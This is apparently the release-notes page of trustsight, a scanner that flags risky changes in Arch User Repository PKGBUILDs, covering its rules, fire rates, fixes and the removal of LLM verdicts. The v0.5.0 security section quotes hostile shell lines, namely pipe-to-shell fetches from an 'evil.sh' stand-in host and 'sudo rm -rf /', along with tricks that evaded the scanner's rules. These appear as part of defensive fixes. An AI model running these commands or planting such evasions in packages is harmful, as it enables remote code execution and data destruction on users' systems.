Releases: emiliano-go/trustsight
Release list
v0.9.0
TL;DR
Five commits since v0.8.0 remove LLM integration entirely, replacing the LLM verdict with deterministic rule-specific templates. The --simple flag, config setup command, [llm] config section, and openai/ollama dependencies are gone. All 12+ documentation files swept of LLM references.
Removed
- LLM integration.
src/trustsight/llm.pydeleted; verdicts are now entirely deterministic using rule-specific templates inverdict.py.openai>=1.0and[project.optional-dependencies] ollamaremoved frompyproject.toml. The--simpleflag onreview/inspect, theconfig setupcommand, the[llm]config section, and theTRUSTSIGHT_API_KEY/TRUSTSIGHT_BASE_URLenvironment variables are all removed.
Changed
-
Verdicts now deterministic. Each rule description includes its rule ID in brackets (e.g.
"maintainer changed to 'bob' [R071]"). Thefallback_verdict()function renders from a_TEMPLATESregistry keyed byrule_id, falling back toentry.reasonif no template exists. -
FATAL verdict punctuation. The second sentence now begins with a capital letter for readability.
-
Packaging. LLM optdepends (
python-openai,ollama) removed frompackaging/aur/PKGBUILDand.SRCINFO.
Fixed
- All 12+ documentation files swept of LLM references.
--verboseadded to the commands table inREADME.md.
Stats
- 5 commits since v0.8.0
- 725 tests (27 files), all passing
- Package version 0.9.0
v0.8.0
TL;DR
Twenty-three commits since v0.7.2: a full-AUR baseline corpus builder (baseline build, baseline import), property stability tracking for longitudinal rules, a unified TemporalContext across both analysis paths, and reproducible artifact serialisation with optional ed25519 signing. Also includes an interactive config setup wizard, a --simple flag to skip LLM verdicts, a first-run welcome banner, and database schema migrations for the corpus tables.
Added
- Full-AUR corpus builder.
trustsight baseline buildfetches the AUR metadata archive (117K+ packages), downloads PKGBUILDs via cgit with snapshot tarball fallback, runs the full analysis pipeline on each one, and persists results. Progress is saved every 1000 packages so--resumecan continue after an interrupt.trustsight baseline importmerges a signed corpus artifact into the local database.baseline builddoubles as a cron target: the first run processes all packages, subsequent runs only process changed ones. - Property stability tracking. Eleven per-package, per-key property dimensions (
depends,source_hosts,build_system_markers,configure_flags,version_scheme,pkgdesc_tokens,build_line_count,install_hook_present,license,source_orgs,vendored_libs) are recorded on every analysis and persisted with a SHA-256 value hash and astable_for_ncounter that accumulates on identical observations and resets on change. - Canonical reproducible serialisation.
canonical_artifact_bytes()produces byte-identical output from the same corpus inputs regardless of build time or platform. The signed payload records the ruleset version, scorer version, and corpus cutoff in a deterministic manifest. - ed25519 artifact signing.
build_artifactaccepts--sign KEYto attach a detached ed25519 signature.import_baseline()verifies the signature against the shipped public key and refuses unsigned artifacts by default (--allow-unsignedexists for local builds). config setupinteractive wizard. Walks through provider choice (openai, ollama), endpoint, API key (masked), model name, and an optional connection test.--simpleflag onreviewandinspect. Skips the LLM verdict and uses the deterministic fallback directly.- First-run welcome banner. Shown when the novelty seed is imported on a first
reviewrun, printing config path, database path, and next-step suggestions. Help epilog shows"New? Start with 'trustsight config setup', then 'trustsight review'." - Connection-test error messages.
APITimeoutError,APIConnectionError, andAPIStatusErrorare caught during the setup test and ingenerate_verdict_stream()with user-friendly explanations. - Loading indicator. A
"Querying LLM..."spinner (rich) or"... "text (plain) appears during LLM verdict generation. config setextended.model,timeout, andproviderkeys are now accepted alongside the existingapi_keyandbase_url.
Changed
TemporalContextunifies both analysis paths. The git-based and corpus-based analysis paths now share a singleTemporalContextparameter that declares the clock source (git_commit,aur_metadata, orobservation_history) rather than deriving timestamps internally. Both paths produce identical temporal verdicts (R065-R067) for the same package. The clock source is recorded on everyPackageFactastemporal_source._build_prompt()refactored. Themax_diff_chars_for_llmparameter now truncates only the diff portion of the prompt, not the entire prompt including system instructions.historycommands that reference an unanalysed package. Instead of"not found in history", the message now suggests"Run 'trustsight inspect X' first."- Seed-import message simplified. From
"Imported novelty seed: N source URLs, M maintainers (O observations)."to"Imported N known source URLs and M maintainers for novelty detection."
Fixed
- LLM verdict always used in
inspect. Theinspectcommand previously calledfallback_verdict()unconditionally instead ofgenerate_verdict(). It now calls the LLM for scoring packages. - API exceptions and suppressed verdicts now logged at
warninglevel. Previouslydebugmade them invisible in normal operation.
Internal
- Four new database tables:
package_profiles,package_properties,pkgbuild_snapshots,alert_state. - Database helper functions:
get_pkgbuild_snapshot(),save_pkgbuild_snapshot(),get_package_profile(),save_package_profile(). update_properties()runs on everyanalyze_package_text()call before rule evaluation. Property breaks are returned but not yet consumed by longitudinal rules (R094-R102).- Database schema migration support via
_migrateand_ADDED_COLUMNS.
Stats
- 23 commits since v0.7.2
- 739 tests (25 files), all passing
- Package version 0.8.0
v0.7.2
TL;DR
Three commits since v0.7.1: pipelined analysis and LLM verdicts, AUR RPC caching with configurable TTL, new CLI commands (list, status, db check/vacuum/backup), database durability improvements, and a progress-bar indentation fix.
Added
- Pipelined analysis and LLM verdicts.
_analyze_outdated_batch()now runs analysis and LLM calls in the same worker thread, overlapping across the pool. Wall time for batch reviews is cut by roughly 2x when the LLM is the bottleneck. - AUR RPC response cache. Version lookups are cached in the local database. Configurable via
cache_ttl_minutesin[discovery](default 60). Repeat reviews skip the AUR server for packages that have not expired. - New CLI commands.
trustsight listshows all tracked packages;trustsight statusshows database health statistics;trustsight db check|vacuum|backupfor database maintenance. inspect --verboseflag. Shows the triggered rules and score breakdown, matching the detail level available in the review table.- Database durability.
PRAGMA busy_timeout=5000prevents lock-contention crashes when multiple processes access the database concurrently.
Fixed
- Progress-bar phase transition. The rich progress bar now correctly resets to indeterminate mode after prefetch completes, displaying elapsed time without resetting the counter.
_run_analysis_loop()output indentation. The rich-table and plain-text branches were dead code inside theif json_outputreturn and never rendered for terminal output.
Changed
_analyze_outdated_batch()restructured withThreadPoolExecutorpipelining. Each worker thread handles one full package (analysis plus verdict) instead of the previous two-phase approach._verdict_for()extracted as a module-level helper. Shared by both the batch-review path and the inspect command.- Progress bar uses indeterminate phase during LLM verdict generation. The phase transition sends a sentinel value that switches the bar to spinner mode while keeping elapsed time visible.
Stats
- 3 commits since v0.7.1
- 739 tests (22 files), all passing
- Package version 0.7.2
v0.7.1
TL;DR
Eleven commits since v0.7.0: database migration for upgrades, a 40x batch-review speedup, IDN homograph false-positive fix, lazy version loading, connection caching, concurrent prefetch, AUR RPC support, drift detection, test dedup (173 lines removed), docstrings on every function, dead code cleanup, and ruff E402 fixes.
Added
-
Database schema migration for
current_maintainer. A migration step
(_migrate+_ADDED_COLUMNS) now safely adds columns that were introduced
after the initial schema shipped. Existing databases created before
current_maintainerexisted will have it added on the first run, fixing a
crash on upgrade. -
Concurrent prefetch of AUR repositories. The batch-review path clones or
fetches all package repos in parallel before beginning analysis, so the
network latency of 20 sequential fetches no longer dominates the runtime. -
AUR RPC helpers.
get_aur_package_infoandget_aur_latest_versions
batch-query the AUR RPC interface, replacing individual per-package lookups
and reducing network round-trips. -
Drift detection for shipped rules.
drifted_shipped_rules()compares the
on-diskrules.tomlagainst the shipped template, flagging when a rule
definition has drifted from the canonical copy. -
diff_truncatedfield onPackageFact. Marks analyses where the diff
was truncated, so the report can indicate the change was only partially
examined. -
Test fixtures shared via
conftest.py.SHARED_RULES(R001-R013) and
SHARED_CONFIGare now defined once and imported by four test files,
removing 173 lines of duplication.
Fixed
-
IDN homograph false positive.
has_homograph()no longer flags
single-script labels containing non-ASCII Latin letters or combining marks.
Only mixed-script labels are confusables per UTS #39 Highly Restrictive.
Legitimate IDNs likemünchen.deandcafé.frare no longer reported. -
PKGBUILD
check()function. Now builds a venv, installs the built wheel,
and runs pytest. The previous barepython -m pytestcall failed against an
uninstalled source tree.
Changed
-
_is_currentuses HEAD commit time as fallback. Clones from earlier
versions had no marker file and triggered a redundantgit fetchfor every
package. Cutting this from 19 network round-trips to zero drops the batch
review wall clock from ~2min to ~3s for a 19-package run. -
_ensure_initruns init once per process. Previously
ensure_default_configs()andinit_db()ran on everyanalyze_package()
call. Now they run once per process, saving ~100-200ms per package. -
R066 (
_package_is_new) capped at 100 commits. The brand-new-package
check previously walked the entire DAG to find the root commit. Packages with
more than 100 commits are now skipped, eliminating full-history walks that
cost ~30-50s for packages with thousands of commits. -
Thread-local connection caching. Database connections are cached per
thread rather than opened per query. The hot paths issue thousands of small
reads; opening a connection once instead of per query reduces overhead from
~0.35ms to effectively zero on repeat use. -
Lazy
__version__loading. The version string is now loaded via PEP 562
__getattr__instead ofimportlib.metadata.version()at import time,
avoiding a 46ms penalty on everyimport trustsight. -
Pattern cache in
rules.py. Compiled regex patterns are cached across
diffs, avoiding repeatedre.compilecalls that dominated the diff-analysis
hot path. -
Typosquat detection uses
top_dependency_pairs(). The rank-and-compare
loop now fetches name-count pairs in a single query instead of running one
query per candidate, fixing a performance regression on large databases.
Removed
-
Dead code and duplicate patterns.
parse_srcinfo_with_pkgbase(uncalled)
and several unreachable lines were removed._PINNING_ORDERwas unified in
buckets.py;risk_level()is now the single source of truth. -
.seo-debug/tracked artifacts. Documentation JSON files committed by a
prior zensical run are removed from the index and gitignored.
Style
- Ruff E402 violations resolved.
log = logging.getLogger(__name__)was
moved below all imports. Exception handlers narrowed from
except BaseExceptiontoexcept Exception.
Documentation
- Docstrings added to all 124 functions across 19 source files, covering
every public and private function including inner closures.
Build
.gitignoreupdated for makepkg artifacts.packaging/aur/pkg/,
packaging/aur/src/,*.tar.gz, and*.pkg.tar.*are now ignored.
Stats
- 11 commits since v0.7.0
- 739 tests (25 files), all passing
- Package version 0.7.1
v0.7.0
TL;DR
Eleven new rules across four rule families (temporal, install/build/maintainer, naming, dependency-set), seven crash-bug fixes, python -m trustsight support, and fire rates measured for R068-R073 on the 3246-diff benign corpus.
Added
-
Temporal context rules (R065-R067). Three code-emitted rules that inspect git commit timestamps on the AUR repository rather than diff content. All are on by default with no config toggle.
Rule Name Severity Condition R065 Very Recent Update INFO (w 0) HEAD commit < 72 h old R066 Brand New Package INFO (w 0) First AUR commit < 30 days old R067 Stale Package Revived MEDIUM (w 15) Gap to last analyzed commit > 365 days -
Install, build, and maintainer rules (R068-R073). Six code-emitted rules that inspect install hooks, GPG verification removal, build environment subversion, maintainer takeovers, capability density, and release cadence.
Rule Name Severity Category Condition R068 Install Hook Present INFO (w 0) context PKGBUILD declares install=or diff touches*.installR069 GPG Verification Removed HIGH (w 25) integrity validpgpkeyspopulated before, empty/absent afterR070 Build Environment Subversion HIGH/MEDIUM (w 25/15) build LD_PRELOAD/LD_LIBRARY_PATH(HIGH) orCFLAGS/LDFLAGS/MAKEFLAGS/PATH(MED) set inside build functionR071 Untrusted Maintainer Takeover HIGH (w 25) maintainer Maintainer changed + new maintainer globally novel R072 Capability Density Anomaly INFO (w 0) meta Rule hits span 3+ distinct categories R073 Accelerated Release Cadence metadata (never scored) temporal-metadata HEAD has 3+ ancestors in the last 24 h All R068-R073 are always on, gated only by diff content or database
maturity rather than an experimental flag. -
Naming and dependency-set rules (R074-R075). Two code-emitted rules that detect package-name typosquatting and aggregate dependency-set expansion. Both are always on, gated only by a cold-start maturity check.
Rule Name Severity Category Condition R074 Package-Name Typosquat HIGH (w 25) naming Name within edit-distance 2 of a far-more-popular package, not a variant R075 Dependency-Set Expansion MEDIUM (w 15) dependency Diff adds 3+ deps whose count x mean-rarity exceeds gate (>= 1.5) R074 uses seed popularity data and requires a warmed database. R075 is fully corpus-calibratable.
-
Fire rates measured for R068-R075 on the 3246-diff benign corpus. All scored rules pass the 30% gate:
Rule Severity Fire rate Hits R068 INFO 20.95 % 680/3246 R069 HIGH 0.03 % 1/3246 R070 HIGH/MED 0.25 % 8/3246 R072 INFO 15.87 % 515/3246 R074 HIGH 1.12 % 2/179 pkgs R075 MEDIUM 0.34 % 11/3246 R071 and R073 require live git history and are marked TBD in fire-rates.md.
-
python -m trustsightsupport. Addedsrc/trustsight/__main__.pyso the tool works withpython -m trustsightin addition to the installed CLI script.
Fixed
-
Seven crash bugs (B1-B6, B10) that prevented the tool from running on unusual package states or missing dependencies:
ID Issue Fix B1 pygit2.GitErrorraisedNameErrorat runtime because pygit2 was not imported inanalysis.pyAdded import pygit2at module levelB2 generate_diffcrashes on stale commit OIDs that produceNonecommitsGuard against Nonebefore accessing.treeB3 get_head_commitpropagatesGitErrorfor empty/unborn reposWrapped in try/except, returns ""on failureB4 One bad package in a batch aborts the entire scan Per-package try/except around analyze_packagein CLI loopB5 Tool crashes on startup when richis not installedGuard console()and fallback paths withHAS_RICHchecksB6 Seed-import message leaks into JSON stdout with --jsonPass quiet=Truetomaybe_auto_import_seedin JSON modeB10 _simple_vercmpcompares version parts lexicographically (e.g.9>10)Parse as integers before comparison -
old_versionwas hardcoded to empty string. Now queriespacman -Qto populate the installed version, so the LLM verdict shows the correct version range. -
Stored empty commit treated as "no history" on every subsequent run, looping back to
_make_fresh_analysis. Changed the guard to distinguish "no record" from "record with empty commit." -
Zero-line diff shown unconditionally even when no diff was computed. Now guarded behind
lines_addedorlines_removed. -
fallback_verdict()always said "Version bump" regardless of whether version data existed. Now checksfirst_seenand returns a context-appropriate message. -
python-openaimoved to optdepends to avoid httpx conflict with thehttpxCLI package. The import is lazy, so the conflict only arises when verdict generation is invoked, not at CLI startup. -
D001/D004 tests now seed enough observations to fire correctly after the default-true promotion in v0.6.1.
Stats
- 11 commits since v0.6.1
- 702 tests (19 files), all passing
- Package version 0.7.0
v0.6.1
Changes
Eight experimental rules promoted to enabled by default
D001, D002, D003, D004, R061, R062, R063, and R064 are now on by default in both the config template and the code fallback. Users who already have an [experimental_rules] section in their config.toml keep their existing setting; users without the section pick up the new defaults automatically.
Fire rates (false-positive rates on the 3246-diff benign corpus) that justified the promotion:
| Rule | Severity | Rate | Fires |
|---|---|---|---|
| D001 | HIGH | 0.15 % | 5/3246 |
| D002 | HIGH | 0.00 % | 0/3246 |
| D003 | MEDIUM | 0.46 % | 15/3246 |
| D004 | HIGH | 0.00 % | 0/3246 |
| R061 | HIGH | 0.22 % | 7/3246 |
| R062 | HIGH | 0.09 % | 3/3246 |
| R063 | HIGH | 0.00 % | 0/3246 |
| R064 | MEDIUM | 0.03 % | 1/3246 |
- Baseline regenerated with the new defaults. The eight rules now appear in per-stratum fire-rate records.
- Fire Rates documentation page (
docs/explanation/fire-rates.md). Explains how fire rates are measured, the two corpora, the 30 % demotion gate, and per-rule tables for all rule families. - Test fix: D004 tests now seed enough observations for the
is_established_package()check, fixing a CI regression.
v0.6.0: dependency-graph rules, install hook detection, R060 as INFO
TL;DR
Dependency-graph rules (D001-D004), install hook and patch-source rules (R062, R063), source downgrade detection (R064), R060 as INFO/weight 0 on by default, redesigned seed with 209k dependency names, and several measurement-found fixes to the dependency extractor and resolver alignment.
Added
- D-series dependency-graph rules, closing part of the documented build-dependency blind spot. All are off by default under a new
[experimental_rules]config section, sobaseline.jsonis unaffected until they are deliberately enabled.- D001 (HIGH) novel dependency: a name never observed anywhere in the AUR.
- D002 (HIGH) typosquatted dependency, e.g.
openss1foropenssl. - D003 (MEDIUM)
makedependsgains a network-capable tool, so the build can fetch code no checksum covers. - D004 (HIGH)
provides/replacesclaims an established package unrelated to this one.
- R060 is now INFO (weight 0) and on by default. Fires on 21.4 % of benign diffs, so at weight 0 it reports context to a reviewer without touching any score.
- R061 (HIGH) a download inside a build function whose URL is absent from
source=(). Off by default. - R062 (HIGH) a
.installhook that fetches or performs a privileged operation. Hooks run as root at install time. - R063 (HIGH) a patch applied from a URL, an absolute path, or process substitution.
- R064 (MEDIUM) a
source=URL downgraded fromhttpstohttp. scripts/generate_seed.pyrecords dependency names from.SRCINFO.tokenizer.resolve_added_lines()returns resolved lines with positions intact.- The bundled seed is regenerated and now carries 209,909 dependency names, 179,956 URLs, and 35,903 maintainers.
Fixed
_EXPERIMENTAL_DEFAULTSinanalysis.py.load_config()reads the user'sconfig.tomlverbatim and never merged new defaults in, so existing installs never saw[experimental_rules]. Defaults now live in code.- D004 did nothing when enabled on its own. It shared a guard clause with D001-D003, so the whole dependency block returned early unless one of those was also on.
- The dependency extractor read shell code as dependency names. An unbounded fallback for unquoted array entries pulled
if,[[, and!out of apackage()body. Array termination is now quote-aware and bounded, tokens are validated against the Arch package-name grammar, and comments are stripped. resolve_added_lines()shifted every line after an assignment. It zipped its output againsttokenize_and_resolve(), which omits assignment lines, so any added assignment made the two sequences different lengths. Substitution is now applied per line from a shared variable table.
Stats
- 1 commit since v0.5.1
- 689 tests (19 files), all passing
- Package version 0.6.0
v0.5.1: automated PKGBUILD checksum, stale .SRCINFO fix
TL;DR
Automated PKGBUILD checksum workflow on release tags, and a stale .SRCINFO fix.
Added
.github/workflows/release-pkgbuild.yml: on av*tag, downloads the GitHub-generated source tarball, computes its sha256, and writespkgver,pkgrel, andsha256sumsintopackaging/aur/PKGBUILDon the default branch, regenerating.SRCINFOwithmakepkg --printsrcinfo. The PKGBUILD shipped to users therefore never carriesSKIP. The checksum is validated withmakepkg --verifysourcebefore the commit, so a wrong hash fails the release rather than reaching a user.
Fixed
.SRCINFOwas stale: it declaredpkgver = 0.3.0(the actual version was 0.5.0), had all-zerosha256sums, and omitted thepython-typerdependency the PKGBUILD requires. Now regenerated and kept current automatically by the release workflow.
Stats
- 1 commit since v0.5.0
- 618 tests (18 files), all passing
- Package version 0.5.1
v0.5.0: security fixes, corpus reconstruction, AUR-first docs
TL;DR
Five security fixes for evasion vectors in PKGBUILD analysis, corpus rebuilt from lock manifest (diffs no longer committed), and documentation rewritten for AUR-first install.
Security
- Message prefix disabled every scoped rule. Any line starting with
echo/printf/msgfollowed by a quote was classified as an inert "message" in its entirety, but a shell line does not end at its first command.echo "x"; sudo rm -rf /scored 0 wheresudo rm -rf /scored 40, so a seven-character prefix switched off R009 (CRITICAL), R010, and R011. Message context now requires the line to contain no command separator (;,&,|) or substitution ($(, backtick). - Line continuations bypassed the CRITICAL pipe-to-shell rules. Rules match one line at a time, so splitting
curl http://evil.sh | bashacross a trailing backslash left R001/R002 with only acurl \fragment, dropping the score from 65 to 25. Continuations are now joined into one logical line before matching, for both the raw and resolved paths. - Variable resolution never ran inside function bodies. The tokenizer's assignment pattern was anchored at
^(\w+)=, so any indented assignment (that is, every assignment inside a function) was skipped and the variable table stayed empty.C=curlfollowed by$C http://evil.sh | bashresolved to nothing and defeated every rule matching resolved strings, scoring 20 against a baseline of 65. Assignments are now recognised when indented and when introduced bylocal/export/declare/readonly/typeset. - One-line function bodies escaped function scoping.
package() { curl evil | bash; }was classified before the depth counter advanced, so the line read asotherandfunction_body-scoped rules skipped it; the counter was also left raised for everything that followed. ..passed package-name validation and could delete the cache root._VALID_PKG_NAMEaccepted.and.., sorepo_path("..")resolved to the parent of the repo cache, whichclone_or_fetchthen passed toshutil.rmtreewhen it failed to open as a repository. Both names are now rejected, andrepo_pathadditionally asserts the resolved path is directly inside the cache root.discovery.fetch_package_infointerpolated the package name straight into the RPC query string; an unescaped&or#could inject or truncate parameters. It now usesurlencode, matchingget_aur_latest_versions.
Added
scripts/build_corpus.py --from-manifest: rebuilds the exact corpus recorded incorpus.lockinstead of re-selecting packages by AUR popularity. Fetches only the branches named in the lock into an empty bare repo, so reconstruction takes minutes rather than requiring a full clone of the AUR monorepo. This is what lets CI materialise the corpus, which is gitignored and therefore never present on a fresh checkout.
Fixed
- Mirror Integrity Check never ran. The
Alert on failurestep's script block was mis-indented, makingmirror-check.ymlunparseable; every run failed during workflow startup. The workflow now also reconstructs the corpus before verifying it, rather than assuming a directory that cannot exist in CI. - Corpus Drift Detection failed with "Corpus not found" for the same reason, and now rebuilds the corpus from the lock first (caching the fetched AUR objects).
- Corpus diffs were not reproducible across machines.
gitscales the abbreviation length inindex <old>..<new>lines to a repository's object count, so a sparse clone emitted 7-character hashes where the full mirror emitted 12: byte-different diffs for identical commits, invalidatingcorpus_content_sha256.core.abbrevis now pinned to 12 and recorded in the lock. - Overlapping strata double-counted diffs. A package matching two strata (
python-foo-gitmatches bothlang_ecosystemandvcs_git) was walked once per stratum, and both entries were kept, inflating per-stratum fire rates. Entries are now deduplicated at lock-write time, keeping the last stratum to match the overwrite order the corpus on disk already had.corpus.lockdrops from 3332 to 3246 entries with no change to the corpus itself. corpus.lockrecordedstrata_fileas an absolute path from the generating machine.- Drift reports are no longer passed through a
GITHUB_OUTPUTheredoc, whose delimiter could be forged by diff content and whose payload could exceed the 1 MB output limit. Both workflows also suppress duplicate issues instead of filing one per run.
Changed
scope-contradictiondowngraded fromerrortowarning: a pattern matching a function header withfunction_bodyscope can still fire on a single-line definition (build() { ...; }), so it is reachable but will miss the ordinary multi-line form.
Stats
- 4 commits since v0.4.1
- 618 tests (18 files), all passing
- Package version 0.5.0
v0.4.1: typer CLI, --json flag, PKGBUILD CI
TL;DR
CLI migrated from argparse to typer with --json flag on all commands, PKGBUILD build+install CI, and AUR install docs.
Added
--jsonflag on all commands:review,inspect,history,seed-db,lint-rules,config {show,set,sync-rules}, andoverride {list,add,rm}now accept--jsonfor machine-readable output.- PKGBUILD build+install CI: new workflow runs inside
archlinux:latest, builds and installs the package viamakepkg -si, and verifiestrustsight --versionsucceeds. - AUR install instructions: added to README and getting-started guide.
Changed
- CLI framework migration:
argparsereplaced withtyper. Help text is auto-generated from type annotations, callbacks are type-annotated functions, and the entry point was renamed frommaintoapp. - CLI tests: updated from
patch(sys.argv)totyper.testing.CliRunner.
Fixed
- Mirror-check CI trigger: added missing
pushevent for corpus.lock and benign-corpus paths.
Stats
- 3 commits since v0.4.0
- 610 tests, all passing
- Package version 0.4.1